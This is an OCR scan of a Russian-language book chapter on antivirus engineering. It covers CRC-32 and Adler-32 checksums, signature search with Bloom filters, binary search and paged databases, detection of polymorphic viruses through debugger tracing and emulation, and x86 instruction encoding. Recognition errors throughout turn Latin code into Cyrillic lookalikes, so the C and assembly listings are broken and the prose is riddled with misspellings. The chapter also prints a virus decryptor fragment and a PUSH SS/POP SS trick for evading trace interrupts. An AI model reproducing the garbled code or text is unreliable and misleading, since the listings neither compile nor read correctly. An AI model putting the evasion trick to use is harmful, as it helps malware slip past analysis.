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/*  Раочет таблицм корректируюших коэффициентов */ 
л!аке_сгс1:аР1е( уохй ) {

Ш1: 1, у, 00ЧВ1Е г;
Тог (1 = 0 ; 1 <= 255; 1 ++) ( 

г = 1 ;
1=ог (3 = 8;  ̂ > 0; ] — ) 1Т ( г  & 1) г = ( г  »  1) “ 0хЕ0888320; е1зе г » =  1; 
сгс1:аЬ1е[1] = г;

(
>

/« Расчет СВС-32 для буфера ЬиТ длиной 1еп «/
0011В1.Е сгс32(ипз1дпей с(1аг *ЬиТ, 0011В1.Е 1еп) {

00ЦВ1Е с г с  = ОхҒҒҒҒҒҒҒҒ;
№П1 1 е (1 е п --)  с г с  = ( с г с  »  8) ~ сгс1:аЬ1е[(сгс “ *ои1:++) & ОхҒҒ]; 
гегигп с г с  ~ ОхҒҒҒҒҒҒҒҒ; / /  Для облегчения аппаратной реализации

)

Пути ускорения расчета СК.С. связанм с «разворачиванием» цик- 
лов или использованием единовременного сдвига на 16 битов (что 
потребует увеличения таблидм корректируюхцих коэффициентов).

Неплохой альтернативой для СКС являются контрольнне суммн, 
рассчитаннне по алгоритму Марка Адлера. Они также представляют 
собой 32-битовий «дайджест» блока данннх.
М е П п е  ВА5Е 65521 
#йеТ1 Пе МНАХ 5552
М е Т гпе  001(ЬиТ,1) {31 += ЬиТ[1 ]; з2 += з1;>
М е Т т е  002(ЬиТ ,1 ) 001(ЬиТ, 1 ); 001(ЬцТ, 1+1);
#веТ1пе 004(ЬиТ,1) 002 (ЬиТД ); 002(ЬиТ, 1+2 );
#ЙеТ1пе 008(ЬцТ,1) 004(ЬиТ,1 ); 004(ЬцТ ,1+4);
#0еТше 0016(ЬиТ) 008(ЬиТ,0); 008(ЬиТ,8);
#йеТ1пе К00(в) а %= ВА5Е
/*  Расчет к /с  Адлера для буфера ЬиГ длиной 1еп. Первснэчально асЛег = 1 */
001Ш1.Е ай1ег32(00иВ1Е ай1ег, ипз1дпей сПаг *ЬиТ, ООЧВЬЕ 1еп) {
ООЦВЬЕ 51 = ай1ег & ОхТТТТ;
0(ЮВ1Е 52 = (ай1ег »  16) & ОхТТТТ; м г  к;
» Ь И е  (1еп > 0) { 

к = 1 еп < ММАХ ? ( ш Ш е л  : НМАХ; 1еп -= к;
« Ш е  (к  >= 16) { В016(ЬиТ); ЬиТ += 16; к -= 16; >
1Т (к  != 0) йо { 31 += *ЬиТ++; з2 += 31; > иИ И е  ( — к);
№ 0(31); К0В(з2);

>
геТигп ( з 2 «  16) | з 1 ;

>

Алгоритм Адлера внполняется несколько бнстрее, чем СК.С, но 
обеспечивает более внсокую вероятность коллизий, особенно на ко- 
ротких наборах данннх.
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7.4.4. Вопроси эффективности
Ранее неоднократно отмечалось, что одним из важнейших критериев 
качества современного антивируса является эффективность исполь- 
зования вьгчислительнмх ресурсов. Речь идет о бнстродействии, тре- 
бованиям к дисковой и оперативной памяти и т. п. На момент напи- 
сания этих строк известнн несколько миллионов разновидностей 
вредоносннх программ, следовательно, антивирус в обшем случае 
вннужден внполнять такое же количество детектируюших операций 
(например, сравнений сигнатур) по отношениюк каждому файлу. Не- 
удивительно, что антивирусннй монитор способен внзнвать много- 
секундньхе задержки при контроле доступа к файлам, а антивирусннй 
сканер -  затрачивать десятки часов на проверку диска. Дошло до того, 
что типичньш пользователь при покупке внбирает не тот антивирус, 
которьш -«знает больше» или члечит лучше», а тот, которнй «работает 
бнстрее».

Надо сразу оговориться, что в современннх условиях удовлетво- 
рительного решения проблемн, по-видимому, не сушествует. Совре- 
менная антивирусная реализация -  это клубок компромиссов: одни 
производители жертвуют надежностью детектирования, другие -  
бнстродействием, третьи -  количеством распознаваемнх вредонос- 
ннх программ, четвертие -  возможностью лечения и т. п.

Поэтому не будем соревноваться с лидерами индустрии в погоне 
за призом сомнительной достижимости. Попьггаемся рассмотреть 
основга>1е направления оптимизации работн несложного антивируса, 
используюшего сигнатурное детектирование.

Итак, задача ставится следуюадим образом. Имеются две табли- 
цн (базн данннх) с записями, содержавдими два атрибута: -«позиция 
в файле» и «сигнатура постоянной длинн». Первая таблица -  модель 
тестируемого файла, вторая -  набора вирусннх сигнатур. Цель поис- 
ка: либо найти единственную запись, встречаюш\тося сразу в обеих 
таблицах, либо удостовериться в отсутствии таковой. Необходимо 
удовлетворить двум взаимно-противоречивьш требованиям: 1 ) ми- 
нимизировать время поиска в наих}гдшем случае (то есть когда пере- 
сечения нет); 2 ) минимизировать размерн баз.

Кстати, можно ставить перед собой и другие задачи оптимизации: 
например, уменьшение «среднего» времени поиска. Такой антивирус 
будет несколько бнстрее работать при сканировании вирусннх кол- 
лекций (то есть в ситуации, когда любой проверяемнй файл обяза- 
тельно чем-нибудь заражен), но по-прежнему будет долго проверять 
носители, на которнх процент зараженннх файлов невелик. В подоб-
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ного рода «мухлевании» бьш в 1997 г. уличен антивирус Ог5о1отоп, 
регулярно побеждавший своих конкурентов на «соревнованиях», но 
ничем не вьвделявшийся при регулярной работе на обьгчннх пользо- 
вательских компьютерах. Нас подобнне «достижения» прелнцать не 
должнн.

Итак, первая таблица -  это тестируемнй файл. Атрибут «позиция» 
в нем физически отсутствует, а цепочки байтов, соответствуюших раз- 
личннм файловнм смевдениям, играют роль атрибута «сигнатура».

Вторая таблица -  это справочная база вирусов. В ней уникальнн 
только парн «позиция+сигнатура», но по отдельности и «позиции», 
и «сигнатурм» могут встречаться неоднократно. На физическую 
структуру этой базн пока не накладнвается никаких ограничений, но 
именно ее мн будем оптимизировать.

Сувдествует довольно много направлений оптимизации, которне 
могут применяться как по отдельности, так и в комплексе.

7.4.4.1. Вибор файловьис позиций
Сначала попьггаемся минимизировать бнстродействие антивируса 

за счет уменьшения размера первой, «файловой» базн данньк. Речь 
идет о том, чтобн искать «сигнатурн» в файле не везде, а только в из- 
бранньш позициях. К сожалению, применение «метода п-грамм» при 
внборе «хороших» сигнатур, по-видимому, приводит к необходимо- 
сти поиска сигнатур по самнм разнообразннм смешениям в файле. 
В худшем случае все эти смешения окажутся различнн, и антивиру- 
су придется считьшать данньге из стольких разннх позиций в файле, 
сколько записей в его справочной базе. Удачннм компромиссом бнло 
бн использование для внбора (и поиска) сигнатур конечного числа 
файловнх п о з и ц р ш , например всего трех: 1 )  начало файла (или тела 
вируса, или кодовой секции программн, или потока в документе); 
2) конец; 3) центральная позиция между началом и концом. Другой 
вариант -  введение дискретного ряда смешений: 0, Д, 2Д,..., где Д -  не- 
кий интервал, которнй зависит от длинн вируса V. Можно, например, 
положить Д = V /100, и тогда для любого вируса всегда иметь ровно 
(2 = 100 различннх позиций, из которнх могут считнваться цепочки 
байтов -  потенциальнне сигнатурн. Это означает, что при помоши 
«метода п-грамм» будет осушествляться внбор из небольшого коли- 
чества сигнатур, расположенннх в заранее определенннх файловнх 
позициях. Впрочем, слишком маленьким это число тоже не должно 
бьпъ, иначе многие «похожис» вирусн (например, принадлежагцие 
одному семейству) могут оказаться неразличимьтми.
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Дальнейшие рассуждения проиллюстрируем на примере малень- 

ких таблиц, моделируюших N  = 6 различнмх вирусов. «Кодм» этих 
вирусов формируются всего из трех различннх байтов (символов): 
‘А’, ‘В’ и ‘С’ . Записи, внесеннне в антивирусную базу, вмделеньг (см. 
рис. 7.31).

АВСВС
1Та в с 1 
2 в с в 1

СВирус~>»ВВСВС

с с в с в АВСАВ
1 о о ш 1 11 1авс (
2 с в с : ^ ^ ■ 2  В С А |

И г Ш 1 13! САВ!
ВСВАС
Ғ1 1в с в

АВСВА 
■рАВС!

о СВА 2 ВСВ
СВА ]

Рис. 7.31 ❖ «Табличние» модели 
отдельньх вирусов

Разумеется, проше всего сформировать «антивирусную» базу, раз- 
местив в ней записи в том порядке, в каком изначально бьши пере- 
численм вирусн (см. рис. 7.32).

^ — :— 
^Сигнатурър

Рис. 7 .32  ❖ «Табличная» модель 
антивирусной бази

Увм, при такой организации антивирусной базн возможен только 
последовательннй поиск: брать запись из одной таблицм и сравни- 
вать ее со всеми записями из второй таблицм, Потом брать следую- 
шую запись... затем еше одну... и т. д. -  до тех пор, пока не обнаружит- 
ся совпадение записей либо записи в обеих таблицах не исчерпаются. 
Нетрудно убедиться, что подобньш подход очень прост в реализации, 
но исключительно нерационален.

Впрочем, если заранее известно, что компьютер заражен, то можно 
упорядочить записи в «антивирусной» базе в соответствии с «актуаль- 
ностью» вирусов, например записи о более современннх и чаше
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встречаюшихся разновидностях разместить в начале таблицн. Тогда -  
в среднем -  поиск записей будет происходить бмстрей, но в худшем 
случае все равно потребуется фхЛ^сравнений.

Наиболее обший подход к ускорению поиска заключается в при- 
менении той или иной разновидности чметода ветвей и границк Суть 
заключается в отказе от полного перебора вариантов в пользу рас- 
смотрения только тех подмножеств, внутри которнх может находить- 
ся искомое. Применение этого метода приводит к «древовидннм» ал- 
горитмам поиска и структурам данннх.

7.4.42. Фильтр Блума
Это метод хеширования, позволяюший сразу отбраснвать записи, 

отсутствуюшие в вирусной базе данннх. Идея заключается в том, что- 
бн вместе с базой данньхх, содержавдей АГзаписей о вирусах, хранить 
«битовую карту» -  массив из М  первоначально обнуленннх битов. 
При добавлении к базе новой сигнатурн для нее рассчитнваются К  
различннх хеш-функций, и в «карте» \'станавливаются в -«1 » К  би- 
тов1. Индексами (адресами в карте) для этих битов являются значения 
рассчитанннх хешей. В итоге после завершения создания базн «кар- 
та» оказнвается заполнена перемешанннми значениями «0» и «1 ».

Рис. 7 .33  ❖ Фильтр Блума

В процессе детектирования для проверяемой цепочки байтов снова 
рассчитнвается набор индексов и проверяется, все ли соответствую- 
шие битн в ^карте» установленн в «1». Пьггаться найти прочитанную 
из файла цепочку байтов среди сигнатур базн данннх имеет сммсл 
лишь при отсутствии расхождений. Если хотя бн один из «адресов» 
указнвает на «0»-бпт, значит, соответствуюшей цепочки байтов (сиг-

1 Разумеется, К  должно бить меньше, чем М .
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натурм) в базе заведомо нет, и искать ее не стоит. Впрочем, попада- 
ние исключительно в «1 »-битм тоже не означает, что сигнатура в базе 
обязательно присутствует. Она всего лишь «может встретиться». Ве- 
роятность промахнуться и не обнаружить сигнатуру в базе составля- 
ет Р  = (1 -  1 /М )КУ ~ е~КК/М. Оптимальное количество хеш-функпий, 
рассчитмваемнх для каждой сигнатурн К  = 1п2 хМ /М  ~ 0,7М /№  но 
и меньшее количество не сильно ухудшит потребительские свойства 
фильтра. Более того, имеет смнсл использовать настолько маленькие 
«битовне картн», чтобн они целиком умешались в кэше процессора. 
В качестве же хеш-функций обьгшо исиользуют примитивнне и не- 
надежнне, но бнстро внчислимне контрольнне суммн. Например, 
можно:

О если сигнатура представляет собой строку, то скомбинировать 
все байта сигнатурн в единое целое число по правилу, предло- 
женному Б. Керниганом и Д. Ритчи [15]:
1п* са1с_пии( спаг «ЬиГ, т г  I, Ш  а) ( // а -  проотое целое 

1 ПИ Зиш=ЬиТ[0];
Тог ( 1 = 1 ; 1 <|_; 1 ++) 5ит=а*5и™+ВиТ[1] 
геТигп 8игг:;

};
О рассчитнвать значения хеша для этого числа по рецепту 

Д. Кнута [18]:
1)_Ь1оо* = са1с_пу«( "аЬгакайаЬга", $1г1еп("аЬгака<йЬга'), а)%К; / /  Остаток

В качестве а берут любне простне числа (например, а = 31, 37, 41, 
...), а в качестве К  -  тоже простое, но ближайшее к его оптимальному 
значению. Итак, фильтр Блума позволяет бистро принятъ решение -  
имеет ли смнсл искать цепочку байтов, прочитанную из файла, или 
ее в базе сигнатур заведомо нет.

7.4.43. Метод половинного деления
Сушественно ускорить поиск позволяет «дихотомия» («половин- 

ное деление») лексикографически упорядоченной таблицн с прону- 
мерованннми по порядку записямн1 (см. рис. 7.34).

Если известно, что аргумент поиска меньше среднего ключа в таб- 
лице, то можно не проверять элементн в диапазоне от этого среднего и 
до конца таблицн. Исходная таблица окажется разделена на две при-

1 В состав ключа, по которому вьшолняется упорядочивание, входит не толь- 
ко сигнатура, но и ее позиши.
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(б1 з 1 с в с
(5. 3  С В А
(4! 3  В С В
&. 2  С В А
1. 2  В С А
I  1 ВВС

Рис. 7 .34  ❖ Упорядоченная
таблица сигнатур

мерно равнне части, в одной из которнх заведомо находится искомая 
запись. Эту «половину» можно вновь разделить пополам по средней 
записи и т. д., пока либо искомая запись не будет обнаружена, либо не 
будет доказано ее отсутствие.
1п1 Ь зеа гсп (тх  *а, 1пИ п, т х  х) { / /  Пример поиока элемента х в массиве а [1 ..п ] 

1.ПТ т, 1Г=0, П=п-1;
« п и е  ( 1 ) {

К  ( 1т:>ги) ге 1 игп - 1 ; / /  Ничего не найдено 
п=(1т+гг)/2;
1Г (а[т]==х) гегигп  га; / /  Номер найденного элемента 
1Г (а [т ]< х ) Н=я+1; е1зе гТ=т-1;

Вообвде, для поиска методом «дихотомии» в таблице, содержашей 
N  элементов, в худшем случае потребуется не более 1 + 1о§2ЛГ срав- 
нений. Кстати, использовав вместо строковнх сигнатур контрольнне 
суммн от них, можно не только ускорить саму операцто сравнения 
(ведь теперь будут сравниваться целне числа!), но и сушественно 
уменьшить объемн справочной базн данннх.

7.4.4.4. Разбиение на страници
Это концепция, предусматривакяцая разделение таблицн по како- 

му-либо признаку на независимне части («страници») и поиск толь- 
ко в некоторнх из них.

Например, наиболее естественно разделить таблицу вирусной ба- 
зн  данннх на отдельнне страницн в зависимости от значения поля 
«позиция» или комбинации «позиция+начало_сишатурн». Внутри 
страницн записи упорядоченн лексикографически по значению поля 
«сигнатура». Такой подход позволит считнвать целиком всю страни- 
цу в память и искать в ней нужную запись методом половинного деле- 
ния, избежав многочисленннх обрашений к носителю. Кроме того, на 
компьютере с несколькими процессорами (или ядрами в процессоре)



550 ❖ Шилософские и математические аспекту
можно будет считмвать в память сразу несколько страниц и вьшол- 
нять поиск параллельно.

Д.чя ускорения доступа к базам данннх, разбитнм на страницн, 
обьмно используют «индекснме таблицн», содержашие номера стра- 
ниц и их адреса на носителе.

С$страниц^ > ^ '

<5др

СМрес абаз^

— (1)СТ(Т|в в с 1
2 ВСА
2 С8А
3 ВСВ
3 СВА
3 СВС

НумерацияҲ 
^в^страницеу

Рис. 7 .35  ❖ Индексированная 
таблица сигнатур

Возможнн и другие критерии разбиения на страницн -  например, 
по значению первой команднвируса: «^МР», «Р115Н», «САЬЬ» и т. п. 
В этом случае после прочтения цепочки байтов из первой файловой 
позиции можно сразу игнорировать все вируснне записи, находя- 
шиеся в страницах, соответствуюших другим «вирусньш началам». 
Или, если речь идет о детектировании сетевнх и почтовнх червей, 
можно разбить базу данннх на страницн, соответствуюшие исполь- 
зованному компилятору: У1зиа1 С/С++, Вог1апс1 С/С++, Вог1апс1 
Ве1рЬ1, СКП С/С++, ЬСС и т. п. Возможно и разбиение страниц на 
более мелкие «подстраницн». Но при этом следует иметь в виду два 
обстоятельства:

О платой за ускорение поиска являются сушественнне затратн 
памяти на размешение индексннх таблиц;

О ускорение поиска достигается лишь в «сбалансированннх» де- 
ревьях, то есть в тех, в которнх все ветви и уровни содержат 
одинаковое количество «подветвей» и «листьев».

Сушествуют и другие, более изошреннне методн оптимизации 
работн антивирусов, но сушественного прироста бнстродействия и 
уменьшения объемов справочннх баз они не дадут. Для детектиро- 
вания миллионов различннх вирусов сигнатурннй поиск перестает 
бнть рационатьньш. Нужнн инне подходн.
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7.4.5. Использование сигнатур 
для детектирования полиморфиков
Сигнатурний подход вполне применим и для детектирования неко- 
торнх разновидностей полиморфньгх вирусов. Прежде всего легко 
детектируются полиморфнне вирусн, построеннне по «классиче- 
ской схеме»:

О основное тело зашифровано с переменннм ключом;
О фрагмент расшифровки конструируется таким образом, чтобн 

алгоритм его работн в разннх экземплярах вируса сохранялся 
прежним, но конкретнне реализации этого алгоритма различа- 
лись.

Такие вирусн появились в начале 1990-х годов, по подобной схеме 
построенн почти все полиморфики эпохи ООЗ-вирусов (например, 
рассмотренннй внше Вап<1ег«па(:сЬ -  см. раздел «Зашифрованнне и 
полиморфнне вирусн») и большинство их \У1п32-собратьев (напри- 
мер, \У т32 .Рагуо , рассмотренньга в разделе «Полиморфньге вирусн 
для \¥ тс 1омг5»).

Идея детектирования подобннх вирусов основана на том, что по- 
стоянная сигнатура в них все же присутствует -  но не в начальньш 
момент времени, а только после завершения работн расшифров- 
шика. Проиллюстрируем ее на примере «популярного» в середине 
1990-х годов вируса Касгог.4444. Загрузим зараженную им програм- 
му в какой-нибудь отладчик (например, в ТигЬо ОеЬи@*ег, входяший 
в комплект поставки таких продуктов, как Вог1апе1/ТигЬо С/С++, 
Вог1апс1/ТигЬо Разса1 и прочие) и займемся пошаговой трассировкой. 
В начальньш момент времени, пока не внполнена еше ни одна коман- 
да вируса, дизассемблированннй дамп памяти внглядит следуюшим 
образом:
; ---------  Переменнмй алгоритм расшифроеки ------------------
с з :00162ЕС0062С0004 го1 сз:ЬуСе ртг [002С ],04  ; А может ш ть ЯОК/АОВ/8иВ и т.п.
сз:001С  2ЕҒҒ061900 ш с  с з :ш г а  о1 г [0019] ; Инкремент счетчика
сз  0021 90 пор ; Мусор
С3.0022 2Е813Е19004Ғ11 ошр С8:'*огй р г г  [0019], 114Ғ ; Контроль количества итераций
сз.0029  75ЕВ ]ле 0016 ; Возврат в цикл расшифроеки
сз;0028  90 пор
. ------------- Зашифрованное тело вируса --------------------------
сз:002С  ЕВ60 дтр 008Е
сз:002Е 004В03 аОй [рр+01+ОЗ],с1
с з : 0031 0С12 Гсо(п с«ог0 рТгГЬр+зх]

После вьшолнения первой итерации цикла расшифровнвается 
первнй байт тела:
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сз:002С  ВЕ6000 шоу 31,0060 ; <- Бьшо ЕВ, стало ВЕ
сз :002Ғ  4В йес Ьх
сз:0030  ОЗОС айй Ь х .зр
сз:0032  1203 айс й1,В1

После вмполнения 7 итераций цикла расшифровнваются три пер- 
вне командн тела.
сэ '.002С ВЕ0600 тоу 31,0006
сз :002Ғ  В430 гпоу аИ,30
СЗ-.0031 СЙ21 1 пт 21

Все тело вируса будет окончательно расшифровано через 114ҒЬ 
итераций. Но, как мн видели, в принципе, уже на шаге 7 по смеаде- 
нию 2СЬ от начала вируса можно обнаружить постоянную сигнатуру 
длиной 7 байтов:
3 (К а с г о г .4444) = < ВЕ 06 00 Б4 30 С0 21, 7, 7 >

Таким образом, если для случая «простнх сигнатур» этап «внде- 
ление и сбор характеристик» сводился лишь к считьшанию байтов из 
файла, то для полиморфннх вирусов потребуется первоначально вн- 
полнить некоторое количество команд подозреваемой программн и 
уж потом -  сравнивать сигнатурн.

7.4.5.1. Аппаратная трассировка
Проше всего воспользоваться штатннми средствами процессора -  

«отладочнь1ми прернваниями». Дело в том, что при установке в 1 би- 
та Т регистра флагов (по умолчанию он сброшен) после внполнения 
процессором каждой очередной командн внзнвается прернвание 
«ШТ 1». Этот механизм доступен автору антивируса как в «реаль- 
ном», так и в «зашишенном» режимах процессора.

При работе под управлением М 8-Б 08 антивирус первнм делом 
должен обеспечить наличие большого и непрернвного, никем не 
используемого блока оперативной памяти. Код «подозрительной» 
программн загружается в свободную память и подготавливается 
к вьшолнению с использованием недокументированного режима 
функции 4ВЬ:
; Блок параметрое запускаемой программн:
; . передаваемне значения
ВРагага 6« 
ОГаСМЗ йи 
ЗедС-М5 0« 
0Т$ҒС1 с1и 
З&дҒСЛ

Сегмент срели 
Смешение командной строки 
Сегмент командной строки 
Смешеиие первого ҒСВ 
С&гмент первого ҒСВ
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0 ГзҒС2 0* 6С11 ; Смешение второго ҒСВ
ЗедҒС2 6« 0 ; Сегмент второго ҒСВ
; . . .  возвра{даен^е значения
Меу/8Р С* 0 ; Смешение в стеке
N6̂ 455 с№ ? ; Сегмент стека
Иеи1 Р С* ? ; Смеуение точки входа
Не«С8 0‘Л ? , Сегмент точки ехода

гпоу йх. сҒТзег ҒИеМаше
глсу £х, оТТзе1: ВРагаш
то>/ ах, 480111 ; "Загрузить-и -не-внпог
1П1 21И

Антивирус может получить сегаентньш адрес «новорожденной» 
программи при помоши функции 62Ь (результат возврашается в ре- 
гистре ВХ):
тоу аИ, 6211
ХПТ 21(1

ШОУ бз, (IX

Внутри нового РЗР требуется настроить ряд полей. Во-первмх, 
необходимо позаботиться о том, чтобн «новорожденная» програм- 
ма, завершив свою работу, вернула управление не куда-то внутрь 
«СОММАМО.СОМ» (как это происходит по умолчанию), но в ука- 
занную точку антивируса:
то у  с)8:«огс) р г г  [ОАП], о Т Т зе ! ЕхИ :
шоу с)з:иогй  р тг  [0 № ], с з

Во-вторнх, надо извлечь из блока параметров новое местоположе- 
ние стека для «новорожденной» программн и переместить стек в ука- 
занную область памяти:
оН
гпоу з з , с з :  ГКемЗЗ] 
т о у  з р ,с з : [ Н е к З Р ]  
зИ

Наконец, установить сегментнне регистрн Б 5  и Е5 на Р5Р «но- 
ворожденной» программн, очистить регистрн обшего назначения, 
извлечь из блока параметров точку входа в «новорожденную» про- 
грамму и передать на нее управление (не забнв перед этим «взвести» 
флаг трассировки!):
, Сформировать в стеке Флаги с битом Т=1 

ризЬ 303(1 
Сформировать в стеке “ очку входа 

риьп О8:(<0«С8
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ри зГ? сз:^еи1Р 

; Установить ЕЗ на новмй РЗР 
шоу а х .й з  
то^ е з .а х  

; Сброоить регистри (это  не совсем кооректно) 
зиЬ а х .а х  
зиЬ Ьх,'ох 
зиЬ с х ,с х  
зиЬ й х .а х  
5 иЬ 51,51 
зиЬ 01,01 
зиЬ Ьр.Вр 

; Перейти на точку входз "новорожденной" программм 
1 ге1:

Начиная с этого момента стартует новая программа, но после вн- 
полнения каждой ее командм будет внзнваться трассировочное пре- 
рнвание. Все специфические для антивируса действия (контроль 
количества внполненннх команд, поиск сигнатурн, борьба с антиот- 
ладочннми «трюками») возлагаются на обработчик этого прернва- 
ния, которнй должен бнть заранее подготовлен антивирусом.

Кстати, если вн  помните, нечто подобное делал «музнкальннй» 
вирус М 2С , трассируя внзовн системннх функций и разнскивая в 
недрах М 5-005  «настояшие» точки входа в них.

\У1П(1о\уз также предоставляет средства для использования отла- 
дочннх прерьхваний. Правда, в этом случае обработчик прернвания 
принадлежит операционной системе, а «следяшей» программе по- 
снлаются только сообшения о том, что прернвание, мол, произошло. 
Принцип использования этого механизма примерно таков:

О трассируемая программа запускается при помоши СгеаСеРго- 
сезз с параметром ВЕВИС_ОМ]_У_ТН15_РКОСЕ55 (чтобн 
отслеживались шаги одной-единственной программн, а не всех 
сразу);

О организуется цикл ожидания и обработки собнтий в трасси- 
руемой программе, примерно такой:
« Ь И е  (И э11Ғог0еЬидЕуеп1(.. .  )=ТВ1)Е) / /  Доадаться собмтия 

{

Сопг1пие0вЬидЕуепг(. . . ) ;  / /  Продолжмть трассировку
>

О в этом цикле ловятся собьггия -  сначала одно СКЕАТ_ 
РКОСЕ55_Г)ЕЕШС_ ЕУЕНТ=0 (процесс стартовал), а потом 
много ЕХСЕРТЮК_ВЕВ11С_ЕУЕМТ=1 (пришло отладочное 
прернвание) с кодом ЕХСЕРТЮМ_51НСЕЕ_5ТЕР=80000004Ь;
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О после поимки очередного собьггия можно при иомогци СеС- 
ТЬгеас1Соп1ех1() извлечь контекст внполняемого потока, в его 
поле Ехр найти адрес текушей вмполняемой командм и при по- 
мовди Кеас! РгосеззМешогу() прочитать код в ее окрестностях.

Надо только иметь в виду, что процесснвнполнения трассируемой 
и трассируюшей программ в \У тсктз асинхроннн. То есть пока трас- 
сируюшая программа обрабатнвает очередное собнтие, трассируемая 
успевает вьшолнитъ множество команд, а не обработаннне еше собн- 
тия будут помешенн операционной системой в очередь. Фактически 
это может привести к тому, что пока антивирус ишет сигнатуру, вирус 
успеет «убежать» -  вмполниться до конца и заразить все, до чего до- 
тянется. Для борьбн с этим эффектом можно в ключевне позиции 
трассируемого кода при помоши ХУпЬеРгосеззМетогуО вписнвать 
(а в процессе трассировки, естественно, удалять) байт ССЬ -  код ко- 
мандн «ШТ 3». При достижении <<ШТ 3» трассируюодей программе 
тоже будет поснлаться собнтие ЕХСЕРТЮКт_ОЕВ1)С_ЕУЕКТ, но 
теперь уже с кодом ЕХСЕРТЮМ_ВКЕАКР01КТ= 80000003Ь.

У метода аппаратной трассировки есть неприятнне недостатки, 
обшие как для \Ушс1о\уз, так и для 003 . Напримёр, трассируемнй 
вирус может сравнительно легко обнаружить в регистре флагов уста- 
новленннй бит Т. Кроме того, он может использовать «1МТ 1» и «ШТ 
3» для своих нужд (например, для расшифровки тела) и, таким об- 
разом, заблокировать процесс трассировки. Еше он может учесть, что 
трассируюшая программа использует с трассируемой обший стек, и 
«испортить» трассировку манипуляция\ш вида «КЕС 5Р/НЕС 5Р». 
Наконец, вирус может воспользоваться известньш обстоятельством, 
что если трассируемнй код содержит команду «РОР 55», то после 
ее вьшолнения процессор одно (и только одно) трассировочное пре- 
рнвание пропустит, а потом снова продолжит работу в прежнем ре- 
жиме. А это означает, что если автор вируса поместит наиболее «ин- 
тересннй» фрагмент своего «изделия» в обработчик какого-нибудь 
60-го прернвания и обратится к нему, например, вот таким образом:

55 
РОР 35
1П* 60П 
пор

то антивирусннй обработчик в этот фрагмент не попадет, со всеми 
внтекаюшими из этого неприятньши последствиями. В принципе, 
«умпнй» обработчик трассировочного прернвания, принадлежаший 
антивирусу должен постоянно «шупать» код трассируемой програм-



556 ❖ Философские и математические аспектн
ми на несколько шагов вперед, подобно тому. как это делает слепец, 
вооруженнмй белой тростью, и по мере возможности обходить вирус- 
нме ловушки. Но это неоправданно усложняет антивирус и замедля- 
ет его работу. К тому же нелишним будет напомнить, что аппаратная 
трассировка невозможна, например, для макровирусов. Вот почему 
подобнме технологии в профессионально написаннмх антивирусах 
используются редко.

7.4.52. Эмуляция программ
Альтернативой аппаратной трассировке является эмуляция (мо- 

делирование вьшолнения) подозрительннх программ. В этом случае 
в состав антивируса должна входить «виртуальная машина», с той 
или иной степенью детализации моделируюшая работу процессора, 
а также, по мере необходимости, внешних устройств и операционной 
системн. В случае, если эмулируется работа макровируса, «виртуаль- 
ная машина» антивируса должна имитировать работу своего аналога, 
включенного в состав М5 ОШсе.

Идея эмуляции внполнения вирусов появилась в первой половине 
1990-х годов, к середине того же десятилетия ту или иную разновид- 
ность эмулятора содержал в себе практически каждьш уважаюший 
себя антивирус, а ближе к концу века эмуляторн появились и в лю- 
бительских антивирусах (например, в МиШЗсап киевлянина В. Ко- 
лесникова).

Рис. 7 .36  ❖ Антивирус «МШйзсап»
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В настоявдий моментэмуляция -  это один из стандартнмхметодов, 
котормй сам по себе не обеспечивает детектирования компьютерннх 
вирусов, но служит удобннм и подчас необходимьм инструментом, 
с участием которого конкретнме методн реализуются.

Работа эмулятора, в обшем случае, содержит цикл вьшолнения по- 
следовательньк действий:

О внборку и дизассемблирование очередной командм;
О моделирование внполнения очередной командн. 
Декомпиляция операторов программ, написанннх на Ш)Гс1Ьа81с и 

УВА, бнла рассмотрена ранее, в разделе, посвявденном макровиру- 
сам. Дизассемблирование же машиннмх команд (инструкций про- 
цессора) основано на знании их внутренней структурн. Размер ин- 
струкции может колебаться от 1 до 15 байтов. Внутренняя структура 
достаточно сложна и может состоять из многочисленнмх полей, обя- 
зательньхм из которнх является только одно -  содержавдее код опе- 
рации (орсос!е).

Префикс Код олера- 
ции(орсойе) Мой г/т 8ю Смешение

Непосрей-
ственний
операмд

0 или 1 байт 1 ипи 2 байта 0 или 1 байт 0 или 1 байт
от 0 до 4 
байтов

от 0 до 4 
бвитов

той  | гед/орсосЬ г/гп
7 1 6 I 5 1 4 1 3 .„ 2  1 1...

тсЗех Ьаве
........... 5...1,„£.,Х 3 .1 1 ..0 ..

Структура однобайтового п о п й  М ой г /т Структура одиобайтозого пояя 31Ь

Рис. 7 .37  ❖ Структура машинной командь) 
в 32-битовом режиме

Префикс. Этот необязательнмй компонент тем или иньш обра- 
зом видоизменяет и уточняет работу командьг1. Например, префикс 
КЕР (код ОҒЗЬ) часто используется совместно с командами семей- 
ства «МОУ5*» для организации нх многократного вьшолнения. Пре- 
фиксм переназначения сегмента видоизменяют тип сегмента памяти, 
над которьш вьшолняются действия. Например, если по умолчанию 
команда «МОУ ЕАХ, [0]» берет даннне из нулевого смевдения от- 
носительно сегмента 05, то после использования префикса с кодом 
2ЕЬ вмборка даннмх будет производиться относительно сегмента С5.

1 Сам префикс однобайтовьпт, но их в команде может прпсутствовать до 
4 штук.
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Префиксн с кодами 66Ь и 67Ь позволяют переопределять размерм 
операндов и адресов -  это требуется, например, в случаях, если код 
содержит как 16-битовме, так и 32-битовме командм.

Код операции. Чаше всего это поле состоит из единственного байта. 
Например, байт со значением СВЬ соответствует инструкции «ШТ», 
байт со значением ЕАЬ -  инструкции межсегментного перехода 
\[М Р» и т. д. Однако бмвает, что собственно код операции (КОП) за- 
нимает только часть байта, а один или несколько битов используются 
для уточнения формата командн. Вот наиболее часто используемне 
форматн этого поля.

а) | КОП г) КОП »|ккя} д) КОП 8

б)| КОП ККҒ1 в) КОП № КОП с! №

Рис. 7 .38  ❖ Формату п о л й  «Код операции»

На этом рисунке:
О КОП -  битн кода операции;
О ККК -  трехбитовое поле, кодируюшее регистр (см. табл. 7.5);

Таблица 7.5. Кодирование регистров
Код 16 битов 8 битов 32 бита Сегмент
000 АХ АЬ ЕАХ Е5
001 СХ ЕСХ С5
010 ЭХ 01. ЕйХ 55
011 ВХ В1. ЕВХ 05
100 5Р АН Е5Р Ғ5
101 ВР СН ЕВР -

110 51 РН Е51 6 5
111 ВН ЕЭ1 -

О  V -  бит размера данннх (0 -  байт, 1 -  слово или двойное слово); 
О 5 -  бит размера операнда (0 -  байт, 1 -  слово или двойное 

слово);
О с1 -  бит направления (0 -  источник в Ке§/Орсос1е и приемник 

в г/ш, 1 -  наоборот).
Некоторне командн (их примерно 25% от обшего количества) 

имеют двухбайтовне кодн операций, в этом случае их первнй байт 
